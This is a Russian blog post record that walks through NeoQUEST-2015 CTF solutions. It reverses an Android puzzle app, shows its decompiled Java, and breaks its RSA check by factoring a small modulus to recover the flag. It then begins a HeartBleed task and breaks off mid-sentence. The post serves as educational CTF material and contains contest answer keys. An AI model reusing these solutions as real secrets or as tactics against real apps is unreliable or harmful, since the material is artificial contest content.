{"id":257484,"date":"2015-05-19T12:09:02","date_gmt":"2015-05-19T08:09:02","guid":{"rendered":"http:\/\/savepearlharbor.com\/?p=257484"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T21:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=257484","title":{"rendered":"NeoQUEST-2015: HeartBleed, Android \u0438 \u043d\u0435\u043c\u043d\u043e\u0433\u043e \u0440\u0435\u0432\u0435\u0440\u0441\u0430"},"content":{"rendered":"<p>     \t<img decoding=\"async\" align=\"left\" src=\"\/\/habrastorage.org\/files\/bb3\/631\/4ec\/bb36314ecd6349568ba79df767d024bb.png\"\/> \u041f\u0440\u0438\u0432\u0435\u0442, \u0425\u0430\u0431\u0440! \u0411\u043b\u0438\u0437\u0438\u0442\u0441\u044f \u043b\u0435\u0442\u043e, \u0430 \u0432\u043c\u0435\u0441\u0442\u0435 \u0441 \u043d\u0438\u043c \u2014 \u00ab\u043e\u0447\u043d\u0430\u044f \u0441\u0442\u0430\u0432\u043a\u0430\u00bb NeoQUEST-2015. <a href=\"http:\/\/neoquest.ru\/timeline.php?year=2015\">\u0420\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u044f <\/a>\u043d\u0430 \u043c\u0435\u0440\u043e\u043f\u0440\u0438\u044f\u0442\u0438\u0435 \u0443\u0436\u0435 \u043e\u0442\u043a\u0440\u044b\u0442\u0430, \u0438 \u0432\u0445\u043e\u0434 \u2014 \u0431\u0435\u0441\u043f\u043b\u0430\u0442\u043d\u044b\u0439. \u0413\u043e\u0441\u0442\u0435\u0439 \u0436\u0434\u0443\u0442 \u0434\u043e\u043a\u043b\u0430\u0434\u044b \u0438 \u043c\u0430\u0441\u0442\u0435\u0440\u043a\u043b\u0430\u0441\u0441\u044b \u043f\u043e \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043a\u043e\u043d\u043a\u0443\u0440\u0441\u044b, \u043f\u043e\u0434\u0430\u0440\u043a\u0438 \u0438 \u043c\u043d\u043e\u0433\u043e\u0435 \u0434\u0440\u0443\u0433\u043e\u0435! \u0412\u0441\u0435 \u044d\u0442\u043e \u2014 \u0443\u0436\u0435 \u0432 \u0438\u044e\u043b\u0435, \u0430 \u043c\u044b \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u043c \u0440\u0430\u0437\u0431\u043e\u0440 \u0437\u0430\u0434\u0430\u043d\u0438\u0439 online-\u044d\u0442\u0430\u043f\u0430 NeoQUEST-2015. \u0412 \u044d\u0442\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435:  <\/p>\n<ul>\n<li><b>\u00abMystic Square\u00bb<\/b> \u2014 \u00ab\u043f\u044f\u0442\u043d\u0430\u0448\u043a\u0438\u00bb \u043d\u0430 Android \u0438 \u0430\u0442\u0430\u043a\u0430 \u043d\u0430 \u043a\u0440\u0438\u043f\u0442\u043e\u0441\u0438\u0441\u0442\u0435\u043c\u0443 RSA<\/li>\n<li><b>\u00ab\u041c\u0430\u0441\u043e\u043d-connect\u00bb<\/b> \u2014 \u0430\u043d\u0430\u043b\u0438\u0437 \u0434\u0430\u043c\u043f\u0430 \u0441\u0435\u0442\u0435\u0432\u043e\u0433\u043e \u0442\u0440\u0430\u0444\u0438\u043a\u0430 \u0441 \u043f\u043e\u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0439 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0435\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 HeartBleed<\/li>\n<li><b>\u00abraSSLedovanie\u00bb<\/b> \u2014 Man-in-the-Middle \u0430\u0442\u0430\u043a\u0430 \u043d\u0430 Android<\/li>\n<li><b>\u00ab\u0414\u0440\u0443\u0436\u0431\u0430 \u0438 \u0431\u0440\u0430\u0442\u0441\u0442\u0432\u043e\u00bb<\/b> \u2014 \u0440\u0435\u0432\u0435\u0440\u0441 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u043d\u0430 C#<\/li>\n<\/ul>\n<p>  <a name=\"habracut\"><\/a>  <\/p>\n<h5><b>1. \u00abMystic Square\u00bb \u2014 \u00ab\u043f\u044f\u0442\u043d\u0430\u0448\u043a\u0438\u00bb \u043d\u0430 Android<\/b><\/h5>\n<p>  <img decoding=\"async\" align=\"left\" src=\"\/\/habrastorage.org\/files\/45c\/851\/e80\/45c851e804a648d39af2f489b9b51c93.jpg\"\/>  <\/p>\n<h6><b>\u0421\u043e\u0431\u0438\u0440\u0430\u0435\u043c \u00ab\u043f\u044f\u0442\u043d\u0430\u0448\u043a\u0438\u00bb<\/b><\/h6>\n<p>  \u0418\u0442\u0430\u043a, \u0438\u0437\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e \u043c\u044b \u0438\u043c\u0435\u0435\u043c \u0444\u0430\u0439\u043b game.apk, \u043f\u043e\u043d\u044f\u0442\u043d\u043e, \u0447\u0442\u043e \u044d\u0442\u043e \u043d\u0438 \u0447\u0442\u043e \u0438\u043d\u043e\u0435, \u043a\u0430\u043a \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0434\u043b\u044f Android.<\/p>\n<p>  \u0421\u043d\u0430\u0447\u0430\u043b\u0430 \u0441\u0442\u043e\u0438\u0442 \u0435\u0433\u043e \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u2013 \u0438 \u043c\u044b \u0432\u0438\u0434\u0438\u043c, \u0447\u0442\u043e \u044d\u0442\u043e \u043f\u0440\u043e\u0441\u0442\u0430\u044f \u0434\u0435\u0442\u0441\u043a\u0430\u044f \u0438\u0433\u0440\u0430 \u00ab\u043f\u044f\u0442\u043d\u0430\u0448\u043a\u0438\u00bb. \u041d\u0435\u0443\u0436\u0435\u043b\u0438 \u043d\u0443\u0436\u043d\u043e \u0441\u043e\u0431\u0440\u0430\u0442\u044c \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0443, \u0447\u0442\u043e\u0431\u044b \u043f\u0440\u043e\u0439\u0442\u0438 \u0437\u0430\u0434\u0430\u043d\u0438\u0435 \u043d\u0430 ctf? \u0418\u043c\u0435\u043d\u043d\u043e \u0442\u0430\u043a! \u0421\u043e\u0431\u0440\u0430\u0442\u044c \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0443 \u043c\u043e\u0436\u043d\u043e \u043b\u0438\u0431\u043e \u0432 \u0441\u0430\u043c\u043e\u043c \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0438, \u043b\u0438\u0431\u043e \u0432\u044b\u0442\u0430\u0449\u0438\u0432 \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0438 \u0438\u0437 \u0440\u0435\u0441\u0443\u0440\u0441\u043e\u0432 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f (\u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438 res\/drawable) \u0438 \u0441\u043b\u043e\u0436\u0438\u0432 \u043f\u0430\u0437\u043b \u0432 \u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u043e\u043c \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u0435. \u0421\u043e\u0431\u0440\u0430\u043b\u0438 \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0443 \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u043a\u0430\u043a\u0443\u044e-\u0442\u043e \u0441\u0442\u0440\u043e\u043a\u0443 \u00ab10838670582455823456841\u00bb:<\/p>\n<h6><b>\u0420\u0435\u0432\u0435\u0440\u0441 Android-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f<\/b><\/h6>\n<p>  \u0427\u0442\u043e \u0434\u0435\u043b\u0430\u0442\u044c \u0434\u0430\u043b\u044c\u0448\u0435? \u041f\u0435\u0440\u0432\u0430\u044f \u043c\u044b\u0441\u043b\u044c \u2014 \u043e\u0442\u0440\u0435\u0432\u0435\u0440\u0441\u0438\u0442\u044c Android-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435. \u0412\u044b\u0442\u0430\u0441\u043a\u0438\u0432\u0430\u0435\u043c \u0438\u0437 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0444\u0430\u0439\u043b classes.dex, \u044d\u0442\u043e \u0431\u0430\u0439\u0442-\u043a\u043e\u0434 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u0439 \u0432 Android. \u0417\u0430\u0442\u0435\u043c \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 \u0443\u0442\u0438\u043b\u0438\u0442\u044b dex2jar \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0444\u0430\u0439\u043b classes.dex.dex2jar.jar, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0443\u0434\u043e\u0431\u043d\u043e \u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b jd-gui.<\/p>\n<p>  \u0412\u0445\u043e\u0434\u043d\u0430\u044f \u0442\u043e\u0447\u043a\u0430 \u2013 \u043a\u043b\u0430\u0441\u0441 MyActivity:<\/p>\n<pre><code>public boolean onKeyDown(int paramInt, KeyEvent paramKeyEvent)   {     switch (paramInt)     {     default:       return super.onKeyDown(paramInt, paramKeyEvent);     case 82:     }     startActivity(new Intent(this, InputOne.class));     return true;   } <\/code><\/pre>\n<p>  \u0412\u0438\u0434\u043d\u043e, \u0447\u0442\u043e \u043f\u0440\u0438 \u043d\u0430\u0436\u0430\u0442\u0438\u0438 \u043d\u0430 \u043a\u043d\u043e\u043f\u043a\u0443 \u0438\u0434\u0435\u0442 \u0432\u044b\u0437\u043e\u0432 InputOne. \u041f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c, \u0447\u0442\u043e \u0437\u0430 \u043a\u043b\u0430\u0441\u0441 InputOne:<\/p>\n<pre><code>public class InputOne extends Activity {   protected void onCreate(Bundle paramBundle)   {     super.onCreate(paramBundle);     setContentView(2130903041);     EditText localEditText = (EditText)findViewById(2131034112);     ((Button)findViewById(2131034113)).setOnClickListener(new View.OnClickListener(localEditText)     {       public void onClick(View paramView)       {         String str1 = this.val$editText.getText().toString();         if (new File(&quot;\/sdcard\/key.txt&quot;).exists())         {           String str2 = Simple.Decrypt(str1);           Toast.makeText(InputOne.this.getBaseContext(), str2, 1).show();           return;         }         try         {           Simple.get(str1);           return;         }         catch (IOException localIOException)         {           localIOException.printStackTrace();         }       }     });   } } <\/code><\/pre>\n<p>  \u0412 \u0434\u0430\u043d\u043d\u043e\u043c \u043a\u043b\u0430\u0441\u0441\u0435 \u0431\u0435\u0440\u0435\u0442\u0441\u044f \u0441\u0442\u0440\u043e\u043a\u0430, \u0432\u0432\u0435\u0434\u0435\u043d\u043d\u0430\u044f \u0432 \u043f\u043e\u043b\u0435 \u0432\u0432\u043e\u0434\u0430, \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u0444\u0430\u0439\u043b\u0430 \u00ab\/sdcard\/key.txt\u00bb. \u0415\u0441\u043b\u0438 \u043e\u043d \u0435\u0441\u0442\u044c, \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043c\u0435\u0442\u043e\u0434 Decrypt \u043a\u043b\u0430\u0441\u0441\u0430 Simple, \u0435\u0441\u043b\u0438 \u0435\u0433\u043e \u043d\u0435\u0442, \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043c\u0435\u0442\u043e\u0434 get \u0442\u043e\u0433\u043e \u0436\u0435 \u043a\u043b\u0430\u0441\u0441\u0430. \u0412 \u043a\u0430\u0436\u0434\u044b\u0439 \u0438\u0437 \u044d\u0442\u0438\u0445 \u043c\u0435\u0442\u043e\u0434\u043e\u0432 \u043f\u0435\u0440\u0435\u0434\u0430\u0435\u0442\u0441\u044f \u0432\u0432\u0435\u0434\u0435\u043d\u043d\u0430\u044f \u0432 \u043f\u043e\u043b\u0435 \u0432\u0432\u043e\u0434\u0430 \u0441\u0442\u0440\u043e\u043a\u0430.<br \/>  \u0424\u0430\u0439\u043b\u0430 \u0442\u0430\u043a\u043e\u0433\u043e \u0443 \u043d\u0430\u0441 \u043d\u0435\u0442 \u2013 \u0441\u043c\u043e\u0442\u0440\u0438\u043c \u043c\u0435\u0442\u043e\u0434 get. <\/p>\n<pre><code>public static void get(String paramString)     throws IOException   {     QueryString localQueryString = new QueryString().add(&quot;message&quot;, paramString);     if (localQueryString == null)       Log.e(&quot;Info&quot;, &quot;NULL&quot;);     for (URLConnection localURLConnection = new URL(&quot;http:\/\/79.175.2.83\/0b32bd28a8632f9895f9d5d8a6c51dad\/game.php&quot;).openConnection(); ; localURLConnection = new URL(&quot;http:\/\/79.175.2.83\/0b32bd28a8632f9895f9d5d8a6c51dad\/game.php?&quot; + localQueryString).openConnection())     {       localURLConnection.getInputStream();       String str = readStreamToString(localURLConnection.getInputStream(), &quot;UTF-8&quot;);       Log.e(&quot;Info&quot;, str);       if (!str.equals(&quot;Error&quot;))       {         FileWriter localFileWriter = new FileWriter(new File(&quot;\/sdcard\/key.txt&quot;));         localFileWriter.write(str);         localFileWriter.close();       }       return;     }   } <\/code><\/pre>\n<p>  \u0414\u0430\u043d\u043d\u044b\u0439 \u043c\u0435\u0442\u043e\u0434 \u0444\u043e\u0440\u043c\u0438\u0440\u0443\u0435\u0442 GET-\u0437\u0430\u043f\u0440\u043e\u0441 \u0432\u0438\u0434\u0430 \u00abhttp:\/\/79.175.2.83\/0b32bd28a8632f9895f9d5d8a6c51dad\/game.php?message=\u2019\u0432\u0432\u0435\u0434\u0435\u043d\u043d\u0430\u044f \u0441\u0442\u0440\u043e\u043a\u0430\u2019\u00bb, \u0430 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442, \u0435\u0441\u043b\u0438 \u044d\u0442\u043e \u043d\u0435 \u00abError\u00bb, \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0435\u0442 \u0432 \u0444\u0430\u0439\u043b \u00ab\/sdcard\/key.txt\u00bb.<\/p>\n<p>  \u0422\u0435\u043f\u0435\u0440\u044c \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0432\u0432\u0435\u0441\u0442\u0438 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0439 \u0438\u0437 \u0438\u0433\u0440\u044b \u043a\u043e\u0434 \u0432 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435, \u0438 \u043e\u043d\u043e \u0441\u043a\u0430\u0447\u0430\u0435\u0442 \u0444\u0430\u0439\u043b key.txt \u043d\u0430 \u043a\u0430\u0440\u0442\u0443 \u043f\u0430\u043c\u044f\u0442\u0438 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430. \u0424\u0430\u0439\u043b \u0438\u043c\u0435\u0435\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0432\u0438\u0434:<\/p>\n<p>  5890287499022904927250918089905639153507<br \/>  3148792732424313619076650032785631134<br \/>  key=a0bf0f01485a59addf4f9374e7c2a7b5<\/p>\n<h6><b>\u00ab\u0412\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u2014 \u043a\u0440\u0438\u043f\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u044f!\u00bb<\/b><\/h6>\n<p>  \u041f\u0435\u0440\u0432\u044b\u0439 \u043a\u043b\u044e\u0447 \u0434\u043e\u0431\u044b\u0442, \u0442\u0435\u043f\u0435\u0440\u044c \u0437\u0430\u0434\u0430\u043d\u0438\u0435 \u043d\u0430 \u0432\u043d\u0438\u043c\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0438 \u043d\u0435\u043c\u043d\u043e\u0433\u043e \u043a\u0440\u0438\u043f\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u0438. \u0423 \u043d\u0430\u0441 \u043e\u0441\u0442\u0430\u043b\u0441\u044f \u043d\u0435\u0438\u0437\u0432\u0435\u0434\u0430\u043d\u043d\u044b\u043c \u043c\u0435\u0442\u043e\u0434 Decrypt \u043a\u043b\u0430\u0441\u0441\u0430 Simple, \u0432\u044b\u0437\u043e\u0432 \u0435\u0433\u043e \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442, \u0435\u0441\u043b\u0438 \u0437\u0430\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0442\u0443 \u0441\u0430\u043c\u0443\u044e \u0441\u0442\u0440\u043e\u043a\u0443 \u0432\u0432\u043e\u0434\u0430 \u043f\u0440\u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0438 \u0444\u0430\u0439\u043b\u0430 \u00ab\/sdcard\/key.txt\u00bb. \u041d\u043e \u0434\u043b\u044f \u043d\u0430\u0447\u0430\u043b\u0430 \u0440\u0430\u0437\u0431\u0435\u0440\u0435\u043c\u0441\u044f, \u0447\u0442\u043e \u0442\u0430\u043c \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442.<\/p>\n<pre><code>  public static String Decrypt(String paramString)   {     ArrayList localArrayList = new ArrayList();     try     {       Scanner localScanner = new Scanner(new File(&quot;\/sdcard\/key.txt&quot;));       while (localScanner.hasNextLine())         localArrayList.add(localScanner.nextLine());     }     catch (FileNotFoundException localFileNotFoundException)     {       return &quot;0&quot;;     }     BigInteger localBigInteger = new BigInteger((String)localArrayList.get(0));     if (new BigInteger((String)localArrayList.get(1)).modPow(e, n).equals(localBigInteger))     {       new File(&quot;\/sdcard\/key.txt&quot;).delete();       return localBigInteger.modPow(new BigInteger(paramString), n).toString(16);     }     return &quot;0&quot;;   } <\/code><\/pre>\n<p>  \u0418\u0442\u0430\u043a, \u043f\u0435\u0440\u0435\u0434 \u043d\u0430\u043c\u0438 \u043e\u0431\u044b\u0447\u043d\u044b\u0439 <a href=\"https:\/\/ru.wikipedia.org\/wiki\/RSA\">RSA<\/a>, \u043c\u044b \u0437\u043d\u0430\u0435\u043c \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0439 \u043a\u043b\u044e\u0447 (e,n), \u0441\u0440\u0430\u0437\u0443 \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u0436\u0435\u043b\u0430\u043d\u0438\u0435 \u043d\u0430\u0439\u0442\u0438 d, \u0432\u0432\u0435\u0441\u0442\u0438 \u0435\u0433\u043e \u0432 \u0441\u0442\u0440\u043e\u043a\u0443 \u0432\u0432\u043e\u0434\u0430 \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043a\u043b\u044e\u0447, \u0442\u0430\u043a \u0438 \u0435\u0441\u0442\u044c, \u043d\u043e \u0432\u043d\u0438\u043c\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u043f\u0440\u0435\u0432\u044b\u0448\u0435 \u0432\u0441\u0435\u0433\u043e. \u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c, \u0447\u0442\u043e \u0442\u0443\u0442 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442.<\/p>\n<p>  \u041f\u0443\u0441\u0442\u044c \u043f\u0435\u0440\u0432\u0430\u044f \u0441\u0442\u0440\u043e\u043a\u0430 \u043d\u0430\u0448\u0435\u0433\u043e \u0444\u0430\u0439\u043b\u0430 \u044d\u0442\u043e sign, \u0430 \u0432\u0442\u043e\u0440\u0430\u044f mes. \u0412 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f, \u0447\u0442\u043e mes \u2261 sign<sup>e<\/sup>(mod n), \u043f\u043e\u0441\u043b\u0435 \u044d\u0442\u043e\u0433\u043e \u0432\u044b\u0447\u0438\u0441\u043b\u044f\u0435\u0442\u0441\u044f mes<sup>d<\/sup>(mod n). \u0410 \u0442\u0435\u043f\u0435\u0440\u044c \u043f\u043e\u0434\u0443\u043c\u0430\u0435\u043c, \u0447\u0442\u043e \u044d\u0442\u043e \u0442\u0430\u043a\u043e\u0435. \u0411\u044b\u043b \u0443 \u043d\u0430\u0441 \u043a\u043b\u044e\u0447 key, \u0435\u0433\u043e \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043b\u0438 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e d \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 mes \u2261 key<sup>d<\/sup>(mod n), \u0430 \u043f\u043e\u0442\u043e\u043c \u043f\u043e\u0434\u043f\u0438\u0441\u0430\u043b\u0438 mes \u2261 sign<sup>e<\/sup>(mod n) \u0438 \u0432\u0441\u0435 \u044d\u0442\u043e \u0437\u0430\u043f\u0438\u0441\u0430\u043b\u0438 \u0432 \u0444\u0430\u0439\u043b. \u041d\u0435\u043c\u043d\u043e\u0433\u043e \u0432\u043d\u0438\u043c\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u0438 \u043c\u044b \u0432\u0438\u0434\u0438\u043c, \u0447\u0442\u043e key \u2261 sign(mod n), \u0430 \u0437\u043d\u0430\u0447\u0438\u0442, \u043a\u043b\u044e\u0447\u043e\u043c \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432\u0442\u043e\u0440\u0430\u044f \u0441\u0442\u0440\u043e\u043a\u0430 \u0432 \u0444\u0430\u0439\u043b\u0435, \u0430 \u0438\u043c\u0435\u043d\u043d\u043e, \u00ab3148792732424313619076650032785631134 = 0\u0445025e6f77c39943f83d1d2f8770a1a79\u00bb. \u0410 \u0442\u0435\u043f\u0435\u0440\u044c \u0432\u0442\u043e\u0440\u043e\u0439 \u0442\u0435\u0441\u0442 \u043d\u0430 \u0432\u043d\u0438\u043c\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c: \u0432\u0441\u0435 \u043a\u043b\u044e\u0447\u0438 \u2013 128-\u0431\u0438\u0442\u043d\u044b\u0435 \u0445\u0435\u0448-\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f, \u0437\u043d\u0430\u0447\u0438\u0442, \u043a\u043b\u044e\u0447\u043e\u043c \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f 025e6f77c39943f83d1d2f8770a1a79, \u0438 \u0442\u043e\u043b\u044c\u043a\u043e \u0442\u0430\u043a!<\/p>\n<p>  \u0412\u0430\u0440\u0438\u0430\u043d\u0442 \u043f\u0440\u043e\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u043c\u0435\u043d\u0435\u0435 \u0432\u043d\u0438\u043c\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u2013 \u0440\u0430\u0437\u043b\u043e\u0436\u0438\u0442\u044c n \u043d\u0430 \u043c\u043d\u043e\u0436\u0438\u0442\u0435\u043b\u0438 8286006298514071265735892332006920710569 = 81227239281928373027*102010192292200202947, \u043f\u043e\u0441\u0447\u0438\u0442\u0430\u0442\u044c \u0444\u0443\u043d\u043a\u0446\u0438\u044e \u042d\u0439\u043b\u0435\u0440\u0430 \u043e\u0442 n:<\/p>\n<p>  \u03c6(n) = (81227239281928373027-1)*(102010192292200202947-1)= 8286006298514071265552654900432792134596<\/p>\n<p>  \u041e\u0441\u0442\u0430\u043b\u043e\u0441\u044c \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u0441\u0447\u0438\u0442\u0430\u0442\u044c d, \u043a\u0430\u043a \u043c\u0443\u043b\u044c\u0442\u0438\u043f\u043b\u0438\u043a\u0430\u0442\u0438\u0432\u043d\u043e \u043e\u0431\u0440\u0430\u0442\u043d\u043e\u0435 \u043a e \u043f\u043e \u043c\u043e\u0434\u0443\u043b\u044e n: d = 4708825181381486710928551540092728302699. \u0412\u0432\u043e\u0434\u0438\u043c d \u0432 \u0441\u0442\u0440\u043e\u043a\u0443 \u0432\u0432\u043e\u0434\u0430 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c 25e6f77c39943f83d1d2f8770a1a79, \u0434\u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u043c \u043f\u0435\u0440\u0432\u044b\u0439 0 \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u043a\u043b\u044e\u0447 \u2013 025e6f77c39943f83d1d2f8770a1a79.<\/p>\n<p>  \u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, \u0443\u0447\u0430\u0441\u0442\u043d\u0438\u043a\u0430\u043c \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0431\u044b\u043b\u043e \u0441\u043e\u0431\u0440\u0430\u0442\u044c \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0443 \u0432 \u0438\u0433\u0440\u0435 \u00ab\u041f\u044f\u0442\u043d\u0430\u0448\u043a\u0438\u00bb, \u043d\u0435\u043c\u043d\u043e\u0433\u043e \u043f\u043e\u0440\u0435\u0432\u0435\u0440\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435, \u0432\u0432\u0435\u0441\u0442\u0438 \u043a\u043b\u044e\u0447 \u0432 \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u0443\u044e \u0441\u0442\u0440\u043e\u043a\u0443 \u0432\u0432\u043e\u0434\u0430 \u0438 \u043b\u0438\u0431\u043e \u043d\u0430\u0439\u0442\u0438 \u043e\u0448\u0438\u0431\u043a\u0443 \u0432 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0441\u0445\u0435\u043c\u044b RSA (\u0431\u0443\u0434\u0443\u0447\u0438 \u043e\u0447\u0435\u043d\u044c \u0432\u043d\u0438\u043c\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u043c\u0438!), \u043b\u0438\u0431\u043e \u043f\u0440\u043e\u0432\u0435\u0441\u0442\u0438 \u0430\u0442\u0430\u043a\u0443 \u0440\u0430\u0437\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u043c\u043e\u0434\u0443\u043b\u044f. \u041a\u0441\u0442\u0430\u0442\u0438, \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c, \u043a\u0430\u043a \u0443\u0447\u0430\u0441\u0442\u043d\u0438\u043a\u0438 \u043a\u0432\u0435\u0441\u0442\u0430 \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u043b\u0438 \u0434\u0430\u043d\u043d\u043e\u0435 \u0437\u0430\u0434\u0430\u043d\u0438\u0435, \u043c\u043e\u0436\u043d\u043e <a href=\"https:\/\/forum.reverse4you.org\/showthread.php?t=1978\">\u0437\u0434\u0435\u0441\u044c<\/a> \u0438 <a href=\"http:\/\/yantayga.livejournal.com\/99988.html\">\u0442\u0443\u0442<\/a> (\u043f\u043e \u0432\u0442\u043e\u0440\u043e\u0439 \u0441\u0441\u044b\u043b\u043a\u0435 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0431\u043e\u043b\u044c\u0448\u043e\u0439 \u043e\u0431\u0437\u043e\u0440 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u0437\u0430\u0434\u0430\u043d\u0438\u0439 NeoQUEST-2015).<\/p>\n<h5><b>2. \u00ab\u041c\u0430\u0441\u043e\u043d-connect\u00bb \u2014 \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u043c HeartBleed<\/b><\/h5>\n<p>  \u041f\u043e \u0437\u0430\u0434\u0430\u043d\u0438\u044e, \u0443\u0447\u0430\u0441\u0442\u043d\u0438\u043a\u0443 Neoquest`\u0430 \u0432\u044b\u0434\u0430\u0435\u0442\u0441\u044f \u0444\u0430\u0439\u043b \u0441\u0435\u0442\u0435\u0432\u043e\u0433\u043e \u0434\u0430\u043c\u043f\u0430. \u041e\u0442\u043a\u0440\u044b\u0432 \u0435\u0433\u043e, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0432 Wireshark \u043c\u044b \u0443\u0432\u0438\u0434\u0438\u043c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u043f\u0430\u043a\u0435\u0442\u044b:<\/p>\n<p>  <img decoding=\"async\" src=\"\/\/habrastorage.org\/files\/3f3\/5a8\/c82\/3f35a8c82fe443d388612dc9e368d361.jpg\"\/><\/p>\n<p>  \u0418\u0437 \u0434\u0430\u043d\u043d\u043e\u0433\u043e \u0434\u0430\u043c\u043f\u0430 \u043c\u044b \u0432\u0438\u0434\u0438\u043c, \u0447\u0442\u043e \u0437\u0434\u0435\u0441\u044c \u0441\u043e\u0431\u0440\u0430\u043d https \u0442\u0440\u0430\u0444\u0438\u043a \u043c\u0435\u0436\u0434\u0443 \u0434\u0432\u0443\u043c\u044f 